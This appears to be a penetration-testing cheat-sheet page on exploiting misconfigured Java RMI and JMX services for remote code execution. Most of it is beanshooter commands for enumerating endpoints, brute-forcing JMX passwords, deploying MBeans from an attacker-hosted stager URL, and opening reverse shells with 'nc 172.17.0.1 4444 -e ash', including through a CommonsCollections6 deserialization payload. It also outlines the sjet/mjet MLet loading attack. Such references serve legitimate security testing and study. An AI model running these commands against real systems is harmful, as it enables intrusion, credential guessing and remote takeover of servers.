Java RMI

Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.

Summary

Tools

Detection

Methodology

If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.

RCE using beanshooter

  • List available attributes: beanshooter info 172.17.0.2 9010

  • Display value of an attribute: beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose

  • Set the value of an attribute: beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean

  • Bruteforce a password protected JMX service: beanshooter brute 172.17.0.2 1090

  • List registered MBeans: beanshooter list 172.17.0.2 9010

  • Deploy an MBean: beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000

  • Enumerate JMX endpoint: beanshooter enum 172.17.0.2 1090

  • Invoke method on a JMX endpoint: beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'

  • Invoke arbitrary public and static Java methods:

  • Standard MBean execution: beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'

  • Deserialization attacks on a JMX endpoint: beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin

RCE using sjet or mjet

Requirements

  • Jython

  • The JMX server can connect to a http service that is controlled by the attacker

  • JMX authentication is not enabled

Remote Command Execution

The attack involves the following steps:

  • Starting a web server that hosts the MLet and a JAR file with the malicious MBeans

  • Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX

  • Invoking the getMBeansFromURL method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.

  • The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.

  • The attacker finally invokes methods from the malicious MBean.

Exploit the JMX using siberas/sjetarrow-up-right or mogwailabs/mjetarrow-up-right

RCE using Metasploit

References

Last updated